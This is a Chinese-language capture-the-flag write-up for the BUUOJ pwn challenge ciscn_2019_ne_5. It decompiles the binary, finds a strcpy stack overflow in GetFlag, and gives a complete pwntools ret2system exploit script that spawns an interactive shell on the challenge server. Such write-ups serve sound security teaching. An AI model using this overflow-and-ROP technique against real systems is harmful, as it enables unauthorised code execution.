分析

  1. 安全保护
1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
  1. ida分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]

p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
result = sub_804892B(argc, argv, envp);
break;
case 2:
Display(src);
result = sub_804892B(argc, argv, envp);
break;
case 3:
Print();
result = sub_804892B(argc, argv, envp);
break;
case 4:
GetFlag(src);
result = sub_804892B(argc, argv, envp);
break;
default:
result = sub_804892B(argc, argv, envp);
break;
}
return result;
}

第一个需要判断密码,直接写了,很简单,第二个,明显可以看到GetFlag函数,点进去查看:

1
2
3
4
5
6
7
8
9
10
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF

*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

这里 strcpy(dest, src)存在溢出,但是有nx保护,所以需要通过ROP实现利用。

利用

  1. sh查找
1
2
3
4
~/pwn$ ROPgadget --binary ciscn_2019_ne_5 --string ""sh
Strings information
============================================================
0x080482ea : sh

这个其实是字符串fflush的末尾,还好是末尾后面有\x00截断,要是在中间就用不了了

  1. main地址查找
1
2
(gdb) info address main
Symbol "main" is at 0x8048722 in a file compiled without debugging.
  1. system函数地址

ida查看0x080484d0

  1. buf构造

buf = padding + ebp + system_addr + main_addr + sh_addr

  1. 完整代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*
p=remote('node5.buuoj.cn',28305)
system=0x080484d0
sh=0x080482ea
main=0x08048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Exit\n:')
p.sendline(str(1))
p.recvuntil('info:')
payload=b'a'*0x4c+p32(system)+p32(main)+p32(sh)
p.sendline(payload)
p.recvuntil('Exit\n:')
p.sendline(str(4))
p.interactive()

flag{0109c102-5df8-4cf7-9dda-f3bbdec71bd2}